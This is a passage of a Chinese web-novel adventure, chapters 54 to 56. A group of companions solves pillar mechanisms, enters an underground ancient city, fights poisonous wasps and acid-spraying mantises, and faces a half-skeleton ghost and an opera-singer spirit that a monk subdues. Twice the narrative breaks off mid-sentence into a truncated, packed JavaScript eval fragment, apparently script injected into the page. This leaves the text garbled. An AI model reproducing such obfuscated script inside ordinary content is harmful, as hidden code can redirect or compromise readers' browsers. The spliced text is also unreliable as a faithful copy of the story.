话音刚落,只听见“嗖嗖”几声,登时从两根被触发机关的立柱中飞出来成百上千个闪着寒光的长针。眼瞧着同伴闪避不及,凌岓飞起一脚,愣是将实木茶几踢得滚了一圈,为瑟瑟发抖的洪钟挡下长针暴击。 没多久,小楼又回到了一片寂静中,立柱里的针也尽数发射完了。 “这到底是什么暗器,暴雨梨花针吗?[1]”卫斯诚头顶一个罩菜盆,慢慢站起身,却讶然发现客厅正中有什么东西在发光。 众人小心翼翼地走上前去一看,原来放茶几的地方现在冒出来一个梯形盒子。盒子分成四瓣打开,里面赫然是一颗水滴形的红玛瑙。 “这是干嘛的?”卫斯诚想碰又不敢碰,只顶着菜罩子小声问。 “不知道,看着像吊坠。”凌岓也觉得疑惑。 “不对!不是吊坠!”洪钟找了半天才找到自己的另一支拐杖,“这叫朱砂泪,是要往人眼睛上放的!” “说详细点儿。”姜泠认真等待下文。 “我以前说书的时候,曾经遇到一个捧场的客人,他告诉过我一首打油诗,用在这里似乎刚刚好。”说书人歪着脑袋想了半天,总算想出了完整的四句,“龙鳞飞鸟翼,月下美人面。一点朱砂千行泪,两叶樱唇含宫珠。” “原来还有后两句。”姜泠恍然大悟,“怪不得找不到机关所在。” “看来小姜你也知道这首诗?”洪钟有些兴奋地问。 “知道的不全,我只清楚前两句,前两句点明了每根柱子上的机关。但刚才不知道后两句,所以人面柱和昙花柱上的机关我们没找到。” “那意思是现在能找到了?”凌、卫二人听得一头雾水。 “当然能。”说书人颇为得意地拿起那颗红玛瑙,“所谓‘一点朱砂千行泪’就是在提醒我们要把这个东西放到人眼睛里去。只有眼睛里进了东西,才会流泪嘛!” 柱子上人脸的眼睛刚好能放下这块玛瑙,洪钟便顺手塞了进去。 红玛瑙在眼眶里放了一分钟不到,就轰然粉碎。接着,从眼眶中流出许多道红色的液体,看起来真像千行血泪。血泪一点一点顺着人脸流下来,流进紧闭的双唇中。 人面上那两片柳叶般的唇瓣在众人的注视下慢慢张开,露出里面的一颗夜明珠。 “喏,这就是最后一句——‘两叶樱唇含宫珠’。”洪钟说。 “这就对了。‘月下美人面’,原来是说人脸中藏着能打开昙花柱的钥匙。”姜泠点点头,“只要把里面的东西拿出来,放进昙花花蕊中,我们就能成功开启所有机关。” “我来吧。”凌岓把另外三人往身后拉了拉,这次将手伸进去拿珠子。 好在这次没有什么意料之外的暗器,看见夜明珠被稳稳拿出来,众人都松了口气。 这颗夜明珠又大又圆,发出的明光更是把整个昏暗的一层都照亮了。凌岓刚拿着它爬到昙花边上,里面的花蕊就自己张开了。 明珠与花蕊的空心处完美契合在一起。一时间,银白的光顺着花芯和花瓣大放异彩,整朵花都像活了一样。与此同时,其他三根立柱也开始有了变化。 先是人面柱上的人脸慢慢长出了身体,变成了一个手握刀斧、张开双臂的人;然后是鸟柱上的大鸟奋力扇动翅膀,掀起一片陈年老灰;紧接着,龙柱上的巨龙发出低低的咆哮声,在屋中人瞠目结舌的震惊中脱离了立柱,盘旋着冲破屋顶,飞上了天。 花柱上将开未开的幽昙现下已经全开放了。夜明珠的光照在一楼地板上,竟然照出两扇镶嵌其中的铜门。 “这就是机关开启后才能看到的东西吧。”铜门上的铁环被凌岓拽了拽,纹丝不动。 又听见一声脆响,只见人面柱上的人拿着刀斧活生生走下柱子。他完全不管身边这几个步步后退的活人,只顾一刀一斧地对准铜门往下劈。 没过多久,铁环掉了,两扇铜门随之缓缓打开。手持刀斧的人一个大跨步,又回到了他的柱子上。 “就是现在,快下去。”姜泠最先回过神,还不忘提醒自己愣神的同伴,“昙花一现,等到这朵昙花闭合了,我们就进不去了。” 几个人靠近地面上的铜门。只见一条用绳子连起来的悬空竹梯贴着墙面垂直落下,再往下看,里面黑漆漆的一片,像是万丈深渊。 “我打头,你们注意安全。尤其是老洪,大家都多点儿小心。”说完,凌岓把手电筒别到腰间,抓着绳子就开始往下爬。 昙花的花瓣开始慢慢收拢,姜泠殿后,等到她抓着绳子攀上竹梯时,昙花已经全合住了。两扇大铜门“轰”一声关紧,震得人耳膜疼。 悬梯不短,加上洪钟本来就没什么劲儿,越爬到后面,他的手脚就越是发软。 最后实在爬不动了,他只好忙不迭叫停,“歇会儿!歇会儿!话说底下能是什么地方啊?爬了这么久,都快赶上我一年的活动量了。” “应该很快就到底了,最不济也会有新出路的。”最底下的凌岓贴着墙回答,“有风吹上来,说明底下应该是有出口的。” 洪钟颤颤巍巍地伸出一只手,果然感受到了吹拂掌心的气流。这下他可算有了动力,又继续往下爬,边爬边说,“一鼓作气,再而衰,三而竭[2]!既然胜利就在眼前,那咱们必须加把劲儿!努把力!往前冲!” 凌岓所料不错,他们休息的地方已经离到底没剩多远了。又拽着悬梯爬了十几分钟,一行人总算得以“平稳落地”。 悬梯尽头似乎是一个空荡荡的大洞,滴滴答答的水声从不远处传来,还带着些细微的回音。凌岓取下手电,一脸警惕地走在最前面。 往前走,一行人先经过一个狭长的窄道,然后才是一片开阔腹地。 “我怎么觉得这儿这么眼熟呢…”越往前走,卫斯诚越觉得有一种奇怪的熟悉感,“我们是不是来过这个地方?怎么总感觉似曾相识呢…” 最前面打头的人突然停下了脚步,手电筒光四下照了一圈后,他说,“雪崩的那天晚上,地底下的溶洞、人像石柱和这里的一模一样。” “……”一股寒意轻轻爬上卫斯诚的皮肤,他只觉得毛骨悚然,“这是哪儿?溶洞分洞?还是我们根本就还在梦里没出去,现在这里还是去芝则的路上?” “你别自己吓唬自己,十有八九是溶洞分洞。”凌岓咽了咽口水,壮着胆子继续前行。 洪钟走在队伍中间,也不插话,悄悄记下了方才遇到的人像青石柱。 穿过溶洞,得见天光。雪崩那晚遇到的大湖没有在这里被复制,取而代之的是一座城市。 昔日高大坚固的城墙已经被磨蚀成了矮矮的一堵,只剩墙上的垛口还能看出往日的形状。厚厚的城门早已经不是一整扇了,七零八落的木板躺在沙土地上,木板缝隙里生长出了几根细细的野草。 以城门和城墙为标记继续向前走,能看到一座古代城池曾经的繁华。 这座城市的主干道直通城门口,路两旁没有一个完整的建筑物,但从残存的痕迹来看,这里以前应该也是墙。 墙四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马队上的人打扮得很奇怪——他们各个都戴着黑缨铁盔,身披银青甲胄,脚踩一双铜泡钉皮靴。这些骑兵模样的人如同复制粘贴一般绷直了身子坐在马背上,随马背一同起伏,不见半点摇晃。 待马队走远后,白马也不见了,留下一个斗大的金铃铛,在空旷无人的古街道上发出“叮叮当当”的铃声。 “骨铃?”那铃铛无需人摇,它会自己发出响声。听到声音的姜泠起初迟疑了一下,继而便循着声音将铃铛拾了起来。 “这个骨铃,和咱家里的不一样啊。”卫斯诚凑过来仔细端详着金铃铛,“一位骨医一个骨铃,难道说这儿还有其他的骨医?” “你俩等会儿,能不能先解释解释这铃铛是干嘛使的?”洪钟摸不着头脑。 “骨铃,寻骨用的。”卫斯诚回答他,“它就像一个探测器一样,能发现死人堆积的地方,譬如骨洞;也能感应到活人的下落,像寻找失踪人口之类的,用它准没错。按照骨医代志里的说法,每个骨医都会有一个属于自己的骨铃,具体制作方法不方便透露,但反正这个铃铛只听它主人的话,旁人拿到它,就等同于拿到几毛钱一个的批发货。” “照你这么说,这个铃铛的主人也在这儿?那就是说,还有一个骨医进到了阴幛里?” “我也只是猜测。毕竟骨铃不会离它的主人太远。” 这句话刚落地,姜泠手中的金铃便又开始发出颇有节奏的声音。只是和刚才声调均匀的响声不同,这次的铃声时高时低,似乎是在传递某种信息。 “前面有骸骨,我们顺着刚刚那列马队的方向过去,看看能不能发现什么。”队伍中的“权威人士”提着铃铛说道。 这座城市的地面上覆盖着一层不薄不厚的土,以至于方才经过的马蹄印清晰地留了下来,刚好为众人指路。 循着马蹄印一路向前,不久就看到了几幢保存完好的茶肆酒楼。酒楼的牌匾上积了一层土,但依稀可见“望月楼”三个大字。 沿着望月楼再往前,有两条交错的纵横大路,路中间堆积着层层叠叠的白骨,森然成山。 54. 第五十四章 遇袭 能在深埋地下的古城池中看见天色是一件不可思议的事,偏偏此时就发生在眼前。天上一丝云都没有,地下一点热气都没有。数不清的白骨横一层竖一层高高垒起,已经快和望月楼一样高了。 金铃狂响,似是要把这高高的骨塔摇塌。 许是铃声惊动了骨塔中沉睡的东西,下一秒,众人看见一片圆圆的黑斑蠕动着从骨头与骨头间的空隙爬出来。 一眨眼的功夫,这些黑斑脱离了白骨,飞向半空,直奔生人而来。 待到黑斑又飞近了点,众人这才看清它的模样——黑褐相间的条纹,两对飞速振动的赤色羽状翅膀,一双黑豆大的眼睛和两颗露在外面的毒牙——这好像是一种蜂类。 “赤羽蜂?”还得是洪钟,脱口就能说出这种东西的名字。 “那是什么?”四个人背靠背,就属卫斯诚站得最板正。 “一种传说中的杀人蜂,因两对赤红色的翅膀得名,能吸血食髓。据说是从西域引进中原的奇虫。最初为割据楚地的藩王所豢养,目的是在打仗的时候对付刀枪不入的铁甲军。被它们蛰过的地方会慢慢腐烂,直到露出骨头才算完。” “吸血食髓,听着怪恐怖的。”凌岓握紧手里的短锹,目不转睛地盯着这些赤羽蜂。 蜂群飞到离四人五步远的半空中停下,只从中钻出来一只个头不大的黑斑继续前飞。 “看见没有,打头的来了。”洪钟环视一圈,小声说,“这种头蜂一般就是炮灰,来确认前面是不是有危险。” “把这个戴着。”凌岓递过来一个头戴式防毒面具和一双防水胶皮手套,“老之弄来的,专防毒虫瘴气。” 先头蜂振着翅膀围绕四个人飞了一圈,又慢悠悠地飞回了蜂群。 “老洪,一会儿你只管把自己缩到衣服里,不需要参与战斗。”隔着一层防毒面具,凌岓的声音听不真切。 洪钟胡乱点点头,接着便看见黑压压的蜂群逼近。他犹豫片刻,对身边人说,“要不咱还是跑吧。” 话说得太迟,蜂群已经四散着围成了一个圈,刚好把几人围在正中间。 赤羽蜂个头不小,短锹拍到它们身上时,甚至能听到蜂壳和金属铁锹碰撞发出的“当啷”声。 蜂群在骨塔中钻进钻出多年,许久没见过生人,遗骨上残留的血肉早就被啃噬得一干二净了。现下它们不要命似的袭击四个大活人,就是为了饮其血,啖其肉。 洪钟知道自己战斗力稀碎,也不给同伴们添乱,捂着脑袋缩成一团蹲到旁边去了。另外三人各有各的武器和办法把绕着他们乱飞的赤羽蜂击落或拍死。 一只、两只……攻击的蜂群怎么都打不完,拍下去一片,就又会从骨塔中飞出另一群。情急之下,卫斯诚顺手捞起地上的一块破布,点上火就举着它往蜂群里挥。 一时间,浓烟把沙土灰尘扬得到处都是,蜂群这才被迫往远处飞了飞。 “用火烧…好办法啊!”见这浓烟有点效果,凌岓灵机一动,决定擒贼先擒王——干脆把飞出赤羽蜂的骨塔点着,这样就能从根源上解决问题。 说干就干,凌岓把路边的破旧衣服有一件算一件全归拢起来,用备用鞋带把它们绑在榔头木杆上,做成了一个简易火把。 之胖临走时给每个人带了一瓶酒精,本来是怕他们受伤以后没处消毒才准备的,却不想现在被当作燃料用了。姜泠举着冒烟的榔头,等凌岓把酒精浇进塔中,立刻便将它扔进去。 骨塔里传来噼里啪啦的声音。卫斯诚左打一把,右挥一下,将空中的蜂群悉数拍落后,又不停往塔身上盖衣服,生怕有漏网之鱼跑出来。 折腾了好半天,骨塔轰然倒塌,总算再没有一只赤羽蜂从中飞出来了。 姜泠走到蹲着的人身边,轻轻拍了拍他两只抱紧脑袋的手,“好了,没事儿了。” 洪钟这才慢慢把手放下,万分谨慎地站起身。 骨塔已经崩塌了,可骨铃仍然在响。“嗖”一声传来,姜泠微微侧身,抬手握住了一支飞来的羽箭。 “往房子里躲!”她吼道。 霎时,铺天盖地的箭雨从头顶落下,转眼就把众人站立的地方扎成了钉板。 眼瞧着一支箭直奔洪钟后心而去,凌岓眼疾手快将他推进门里,由自己替他挡下了这一箭。箭头锋利,直直将中箭者的手臂刮去了一层肉,伤口深可见骨。 凌岓吃痛,半天提不上劲儿。眼看受伤的人就要被利箭戳成筛子的关头,姜泠循着空气中的血腥气赶到。她腕上的长鞭挥舞,将那些箭矢掉了个头,朝别处去了。 “凌哥,没事儿吧!”卫斯诚这边刚用灶台旁的草筐把洪钟挡起来,就看见跌跌撞撞走进门的两人。他把门关好,又用屋内的两个大水缸把门抵住,这才放心蹲下来查看同伴伤势。 “啧,好厉害的箭!”看见同伴臂上露骨的伤口,卫斯诚急得五官都挤在了一起。 “酒精、棉签、止血钳、纱布都在我包里,把它们拿出来。”姜泠表现得十分镇定,可她的手也在微微发抖——因为看不见,她不确定凌岓的伤势究竟有多严重。 “你们别那么严肃,就擦破点皮儿。”受伤的人冷汗直流,却还是十分温柔地安抚旁人。 “那您这皮儿可真够厚的,一擦就擦到骨头上了。”听见动静,洪钟也藏不住了,索性掀开草筐来帮忙,一看见伤情,他又愧疚万分,“都是我不好!要不是为了救我,小凌子你也不至于弄成这样,唉!” “还行,又不是送命了。”酒精棉球在伤口周围轻轻蹭了一圈,凌岓疼得倒吸一口凉气,还不忘开玩笑道,“你别叫我‘小凌子’,听起来跟个太监一样,速速换个称呼!可别让病人生气。” “换!换!”洪钟猛猛点头,“只要你没事儿,你让我叫你声爹都成!” “那倒…倒也不至于。我从…从不占别人便宜…”伤者觉得自己说话好像有点费劲,胸口处像压了块巨石一样喘不上气儿。 “你怎么地了?”洪钟听出异常,更着急了。他拽住姜泠的袖子问,“他怎么地了?怎么气儿喘得这么急呢?” “会不会是中毒了?”卫斯诚死死攥着止血钳,也注意到了伤者的反常,“可是伤口没发黑,除了脸色白一点儿,没见有中毒的迹象呐!” 姜泠听见了洪、卫二人的讨论,心里“咯噔”一声。她极尽轻柔地为眼前人包扎好伤口,脸色却阴得能滴出水来。 “不是多大事儿,我猜就是……”凌岓狠狠吸了一口气,这才能勉强继续说话,“就是流血流多了,休息一会儿就好。” “箭头上是有毒。”骨医搭上伤者的脉,语气愈发冰冷,“是从将死之人体内炼出来的毒,也只有炼毒人才有解药。” “那怎么办?”洪、卫两人异口同声问道。 “你们在这儿等着,我去找解药。”姜泠刚要起身,却被伤员一把拉住—— “你一个人上哪儿去找解药?这里…危…危机四伏,万一你受伤了怎么办?我们…我们到时候怎么找你?再说就算去,你也至少带一个帮手,绝不能自己去!”说完这几句话,凌岓觉得自己快要断气了。 “你放心,这次来的时候做足了准备,不会像上次那样再受伤的。”盲女的语气依然温柔,可周围人总觉得身边的气压变低了。 “我自有办法找到下毒的人,你们只要老老实实呆在这里就够了。洪钟没有战斗力,所以阿诚必须留下。否则再遇到危险,你们就会被一锅端。” 说完,姜泠把随身带的药丸塞进了凌岓嘴里,不等旁人再做反驳或争论,头也不回地走了。 外面的光线突然消失了。房中的四面墙上各有一个烛台,烛台里跳出青色的火焰,不明不暗,令人难受。现在才是地下古城真正的样子——没有天光,整座城池都陷在暗色调中。 姜泠轻摇着手中的金铃,凭借每一次摇铃声中细微的差异辨别方向。绕过民居食肆,途径府衙驿站,最后她停在一座宏伟瑰丽的宫殿前。 骨铃失声,任人捏在手中,无论怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第一层的卫士手中端着长矛,第二层的卫士腰间佩着长剑,第三层是大刀,第四层是弓箭……以此类推,每一层守卫所配备的武器都不同,只有从他们手底下通过,才有机会接近宫门。 来人心里清楚自己即将面临一场恶战,但一想到垂死挣扎的同伴,她心里反倒没有一点儿害怕,只剩下一个速战速决的愿望。 卫士们不会给出警告,一听到生人的脚步声,他们就整整齐齐迈下台阶,将手中的武器对准不速之客。 长矛在空中划出一道凌厉的光,矛头正旋转着刺向来人。 如果对付的是洪钟,那现在这两个卫士应该已经完成任务了。只可惜姜泠的身手比他们更敏捷,她往后一仰就让长矛刺了个空。再一转身,两把长矛被软鞭卷到河中,在奔流的河水里起伏了两下便不见踪影了。 失去了武器,两个兵士还想用拳脚压制来人,却反而被对方两下就放翻了。 第二层台阶的守卫无缝衔接上了前两位的攻击,抽出长剑便是一通挥舞。这两人要比第一层石阶上的两人更懂配合,他们一个管上、一个管下,的确让身手矫健的姑娘暂时乱了阵脚。 “以少对多,我也没输过。”姜泠摸了摸袖口被长剑刺破的小洞,冷哼一声。 长剑将石阶前的空气刺得呼呼作响,剑锋凌厉,和弯刀两相碰撞,擦出金属火花。 这两个卫士身着钢盔铁甲,即便手中长剑用得很好,也难免行动笨拙了些。这样一来,反倒让姜泠钻了空子——她本身就属身姿轻盈纤巧的类型,刚好能借两个守卫挥剑的空隙从中穿过,然后在背后给他们重重一击。 长剑与人一同倒地,姜泠站到了第二层石阶上。她轻轻吸了口气,攥紧手中的武器,不敢有分毫懈怠和多余的喘息—— 一来,从将死之人体内炼出来的毒在师父的日记中被称为人蛊毒,如果三天之内没有解药,中毒者身上的皮肉就会层层脱落而亡。还有九十七层石阶,每一层守卫的攻击力都在上升,她必须抓紧时间速战速决才有机会闯进宫殿,救下凌岓。 二来,第三层石阶上的卫士正虎视眈眈地盯着来人,手中大刀转了一圈,刀刃向外——他们已经做好准备把不速之客斩于石阶之下了。 55. 第五十五章 姜泠在宫门石阶前与盔甲守卫鏖战,这一头,她那三位同伴的情况也没好到哪儿去。 民居外,寒风起。门被吹得“咣咣”响,连带着抵门的两口大水缸也微微晃动。 被人扼住喉咙的窒息感越来越强,手臂上的伤口发烫,灼得人知觉全无。洪钟和卫斯诚轮流说话逗笑,还是只能眼睁睁看着面前的伤员慢慢失去意识。 在凌岓闭眼以前,他听见屋顶瓦片碎裂的声音。紧接着,梁上出现一个大洞,他只当是幻觉,来不及细想便沉沉睡去。 无数只青绿色的螳螂顺着洞口爬下来,乍一看像是树叶滑落。民居的墙面历经多年,早已经脆弱不堪,螳螂们大刀形状的前肢砍在上面,竟能凿下成片成片的墙皮。 这些螳螂的眼睛如同红豆,长在三角形的绿脑袋上,叫人一身鸡皮疙瘩直往下掉。 “螳螂应该还算好打,比那些什么蜂要好对付吧。”卫斯诚咽了咽口水,自我安慰道。 “但愿如此。”洪钟怎么看怎么觉得不对,嗫嚅着说了句,“谁家好螳螂的眼珠子是红色的!” 一语成谶,这些螳螂挥舞着前肢袭来,翅膀上两个深绿色圆斑还能喷出绿色的液体。液体落到木头上,木头便迅速朽烂;沾在墙上,墙面就会出现一个个孔洞——这些绿液具有强腐蚀性,凡其所到之处,就不可能存在完好无损的概率。 “我靠!”见状,卫斯诚也不敢下死手,生怕把这些红眼螳螂拍爆浆了以后,那些腐蚀性汁液会溅到人身上。 “老洪,你带着凌哥先从后窗走!反正是一楼,跳出去也没事儿!”唯一的顶梁柱用屋中的小物件砸向螳螂,边砸边往后退。 “行,你等我把他安顿好就回来救你!”洪钟已经在背着伤员往屋子后头的窗边跑了。 “你可别回来给我添乱了…”卫斯诚苦着一张脸,手底下的动作迅速起来。 说也奇怪,这些螳螂长着翅膀,飞起来却不快,翅膀上喷出来的绿液也是有一阵没一阵的,像是毒蛇的毒液一样——是限量的。 卫斯诚眼尖,后退时看见一把放在炭炉下面的火钳。他眼疾手快把那钳子抽出来,对准大个头螳螂狠狠一钳,那虫子立马一分两半,直直掉在地上动也不动。 后窗旁挂着一披蓑衣。也顾不上它还能不能用,后退者一把抓过来,用打火机把它点燃,朝准房子里那些挥舞着“大刀”的绿虫子扔过去,这才有机会从窗边钻出去,得以脱身。 民居外面安安静静,只剩一条堆满羽箭的空旷街道。洪钟把凌岓安顿在望月楼里,匆匆忙忙折回去找剩下的人,刚出门就和对方撞了个满怀。 “嗨哟你总算逃出来了!我还说你别光顾着掩护我们,把自己也折在里面了!”借着微弱的烛光,洪钟才发现同伴脸上挂了彩,“你这脸怎么地了?要不要紧呐?” “没事,被螳螂的腿子蹭了一下,没那么娇气。”经人提醒,卫斯诚才隐约觉得颧骨处有些痛感,不过他也不在意,大剌剌地往凳子上一坐,又问,“凌岓呢?他没事儿吧?” “倒是没被这些虫子伤着…”提起伤员,洪钟自责不已,“小姜临走时候给他包扎的纱布可能要换了——我看他胳膊上的箭伤越来越严重了,隔着纱布都能看见往外渗黑血呢!” “我来看看。”卫斯诚刚起身,望月楼突然变得明亮起来,在暗环境中呆久了的人猝不及防,只好先紧闭双眼。 半晌,感觉被白光刺痛的眼球慢慢适应后,洪、卫两人才敢睁眼。望月楼最上面高高吊着一顶白玉新月灯,灯上四十九支蜡烛被悉数点燃,照亮了整座楼。 “我从没见过这么亮的蜡烛。”洪钟看着那盏新月灯感叹,又借着灯光把望月楼探了个清清楚楚。 这是一个空间很大的酒楼。一楼有一个四四方方的戏台,戏台前放着红木圆桌和杉木长条桌各十八张。圆桌放在最两边,长条桌放在中间,以便平日里常来的散客在吃饭之余看戏听曲。 两边的圆桌又各由一个雕花楼梯分开,楼梯往上,是放着丝缎软垫楠木太师椅的双人雅间。雅间再向上一层,就是挂着彩绸和各色冰花灯的贵客包厢了。每个包厢门口都有一个翠玉名牌,上面写着包厢名和专用贵客的姓名。 四楼是最顶层,也是配置最豪华的一层。这层楼上一共有四间屋子,从房门到屋内摆设全是由黄花梨木制成的。门帘和床帐则用了最上等的蚕丝,尽管已经看不出本来的颜色了,但仍能从手感上窥见到它们的名贵。 不仅如此,四楼中的每间房里都另有更细分的房间。一进房门左手边是餐厅,桌子上放着一整套蟹爪纹青瓷碗碟和两坛陈年老酒;房门右手边则是一个小厨房,专为房中贵客提供普通客人见都见不到的吃食。 客厅正中有一个小戏台,规模自然比不上一楼的,但容纳十几个人在台上耍刀弄枪也不是难事。穿过客厅是两间卧室,其中一间中配备有专供女人化妆的铜镜脂粉,另一间中则自带洗浴的地方。豪华之至,堪比现代五星级酒店中的总统套房。 “我滴个乖乖!”洪钟认真端详着那套餐具,眼睛都直了,“什么叫瑕不掩瑜,这就叫瑕不掩瑜!你看看这质地,这成色……这要是带回去交给博物馆或者研究所,那将是多么大的贡献呐!” “过来搭把手,看那东西干嘛!”卫斯诚先扶着凌岓靠在桌子上,又把自己的外套脱下来平铺于床面,这才和洪钟两人抬着伤员平躺下来。 “你就不怕这个地方也有危险?看那顶上的灯,自个儿就亮了,看着也不安全。”洪钟拍了拍衣服上的灰,心下不安。 “见招拆招吧。”自打进了阴幛起,几个人连口水都没喝过。这阵又是爬梯子又是打虫子的,卫斯诚只想安安稳稳休息片刻。 见此,洪钟没再多话,也找了个舒服的姿势坐下养神。 不知过了多久,就在两人快要迷迷瞪瞪睡着的时候,屋中的蜡烛突然全灭了。卫斯诚猛地睁开眼,绷紧神经想听到黑暗中的异常响动。 门外传来“咯噔咯噔”的脚步声,没过多久,里面的人就看到了门上的人影。门外这人并不着急推门而入,他喘着粗气,“咯咯咯”地发出几声辨不出男女的尖笑,又转身走到对面房间去了。 “不会是鬼吧?”洪钟小声对身旁人说。 “听声音,像。”卫斯诚手心里全是汗,连带着紧握的匕首也开始在手中打滑。 大约半柱香的功夫,对面的房门响了。脚步声由远及近,再一次来到了凌岓等人待着的房门口。 “小朋友,踢皮球,一脚两脚踢断头。”门外的声音又尖又细,一会儿像孩童,一会儿像捏着嗓子的成年人,再配上这句诡异的话语,把屋里的人听得汗毛直立。 “小朋友不要躲猫猫哦,我已经看到你们啦~”门外也不知是什么东西在挠门,把木门生生挠出刺耳的拉锯子声。 “我数到三,再不出来的话,我可就要进去抓你们了哦~”说着,门外的人影又开始“咯咯咯”地尖笑。 卫斯诚实在受不了了,刚想踹门而出,就被身边人按住了。 “稍安勿躁,稍安勿躁。”洪钟抱着一只矮圆凳,小声劝他,“我的意思是咱们先到房间里去,等他进来了先看看是个什么东西再说。” 卫斯诚一个“行”字没说出口,房门就被打开了。走进来的是人,也不算是人,严格来说,是披着破衣服、长发及腰的半具白骨架子。之所以说是半具白骨架子,是因为这身体只有半边是白骨,另外半边还是完整的血肉人身。 “你们在说什么悄悄话呢~”半人半骨的东西仿佛会瞬移,一眨眼就飘到了两个大活人面前,问,“我好看吗?” “好…好看?”洪钟抱着他的圆凳子发抖,话都说不利索了。 “那我把你也打扮成这样好不好呀?”近距离听这东西尖笑,只会更让人觉得刺耳。 “好个鬼!”卫斯诚一把夺过洪钟手里的圆凳,照着那半边白骨就是一通狠砸。他出手又快又狠,几下就把这怪物的半边骨头砸飞了许多根。 “非人非鬼的丑东西,大晚上你吓唬谁呢?” “还你好看吗?是人吗就敢问这种问题?没毛的豪猪都比你可 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怪物看见断落地上的两只手时,还茫然了一瞬——它没有痛觉,只能靠眼睛来分辨一切。意识到那双断掌属于自己后,它更恼了,飞扑向前,却扑了个空。 “绣花枕头一包草,看着是个王者,原来是个草包。”怪物被卫斯诚一脚踩在背脊上,动弹不得,洪钟这才敢上前做出评价。 “你是什么东西?”卫斯诚厉声问。 “小朋友,踢皮球,一脚两脚踢断头。”怪物笑着重复这句话,黑洞洞的眼眶里流出两行血泪。 “别踢了,你好好说,要不然你这颗脑袋就得让他当球踢。”洪钟操着一口津普恐吓道。 “远游郎,人未亡,迎过满月盼断肠。”怪物终于不笑了,它眼睛里的血泪越流越多,最后生生将地上那匹波斯地毯打湿了一大片,而后头一歪断气了。 “听后半句,怎么感觉它好像还挺可怜的呢?”说书人看着被浸湿的地毯,有点不忍,“万一它是个活人的话,那咱们这不就弄错了嘛!” “谁家活人长这样?”卫斯诚把匕首收起来,“不要滥用您那宝贵的慈悲心,它想挠死我俩的时候可一点都没手下留情。” 望月楼里还是一片漆黑,刚收拾完半人半骨的怪物,脚下又传来一声巨响。 别说卫斯诚,就连洪钟这样向来求稳的人也觉得苦恼不已——自从进到这座古城中,奇奇怪怪的响动和攻击是不少,可偏偏没见着一个陌生的活人出现。楼上两人现在只觉得疲惫不堪,一点儿没被吓到。 “走吧,下去看看。”刚走到门口,卫斯诚又折回来。他把洪钟的外套也脱了下来给卧室中的伤员盖好,这才放心下楼。 三楼什么都没有,紧攥黑金匕首的人刚要回去,却听见身边的同伴压低声音说,“小卫,你看那儿。”—— 洪钟说的是一楼的大戏台子。上面站着一个人,那人脸上画着浓妆,身穿一件京剧戏服。他仰头向边上的楼梯,楼梯上还站着一个人,一个年轻的和尚。 围观的两人蹑手蹑脚凑近楼梯,又悄悄蹲下,只听见那唱戏的先喊道,“妖僧,何故害我性命?” “阿弥陀佛。”和尚很有礼貌,微微俯身回答他,“人鬼殊途,既然现今你已经不是人了,又何苦如此固执强留于世呢?” “呸!”唱戏的狠狠啐了一口,“我不是人,难道你是?” “黑白颠倒,是非不分。分明已存害人之心,却还偏要为自己寻个借口。”年轻和尚轻轻捻动手中的佛珠,面沉如水,“连自己是人是鬼都认不清的话,那就莫怪贫道无礼了。” “我倒要看看,你能奈我何!” 水袖向天卷起,穿过楼梯的镂空处,在洪钟身上绕了几圈后,将他直直从三楼扯了下来。 “还真不是人呐。”洪钟先是目瞪口呆地感叹了一句,然后才在卫斯诚一声声急切的“老洪”中回过神来。 “我有筹码在手,你又当如何?”不等洪钟呼救,唱戏人已经捏住了他的脖颈,狞笑着冲和尚挑衅。 56. 第五十六章 卫斯诚比年轻和尚更焦急,眼看着同伴成为要挟人的筹码,他想都没想就奔下了楼。他绕到唱戏人身后,一把匕首直冲捏着洪钟的手划去,却不想被这小生如鬼魅般避开了。 “哟,又来一个上赶着找死的。”浓妆之下,唱戏的小生笑得格外畅快,“我好人做到底,成全你们这对儿难兄难弟。” 水袖舒展,这次直奔卫斯诚而去。眼看他就要和洪钟一样被层层缠住之际,那和尚几不可闻地叹了口气,出手了。 只见一道金光从和尚手中飞出,瞬间便将小生击中,逼得他连连后退,手上也跟着脱了劲儿,人质得以逃脱。唱戏的小生不服,捂着胸口站定,抽出一把折扇就要反击。 “反抗只会给你自己带来灾难。现在束手就缚,你还有一丝希望入轮回。”和尚好言相劝。 “那你人还怪好的。”洪钟捂住脖子站得老远。 “轮回?”小生冷哼一声,轻蔑道,“不入轮回,我就可以得到永生!” 和尚摇了摇头,不再规劝。他嘴里念念有词地说着什么,一双手飞快地变换着姿势,最后定格在一个谁都没见过的手势上。唱戏人的折扇打不开,他还想伸展水袖故技重施,却发现自己已经动弹不得。 一个四方四正的金色法印从和尚手下诞生、放大,直到成为一张巨网,将唱戏的小生牢牢禁锢其中。 “现在回头,还来得及。”法印结成的巨网收紧之前,和尚又提醒了一遍。 “妖僧做梦!” “世人多贪欲,求永生者尤甚。”一句话说完,法印上的金光慢慢淡去,唱戏之人如同笼中困兽,嘶吼挣扎着和金光一起消失于望月楼中。 “阿弥陀佛。”和尚摇了摇他腰间的竹葫芦,脸上浮现几分可惜,“又少收一个。” 满打满算已经有两个非人类被降服了,可望月楼还是一片漆黑,大门也紧闭着,拉不开、推不动。本着团结就是力量的原则,卫斯诚决定和这个看起来很有本事的和尚拉近关系。 “一看您就是得道高人,卫斯诚在此替我们俩多谢您出手相救。”他拱拳表意。 “彼此彼此,能出现在这里的人本事都不会小。”这和尚说得诚恳,“我看你们身上沾有非人的气息,想必也遇到了什么怪物吧。” “是,楼上有一个只剩一半肉身的东西,好在已经处理掉了。” “原来如此。”和尚看了看手无缚鸡之力的洪钟,又说,“你们快些离开这里吧。每逢初一十五,望月楼都是妖魔鬼怪汇集的地方。我看你们虽有些本事,却也未必擅长对付这种情况。” “一起走吧。”卫斯诚提出同行邀请,“我们还有一个朋友受了伤,一起走,也能有个相互照应。” 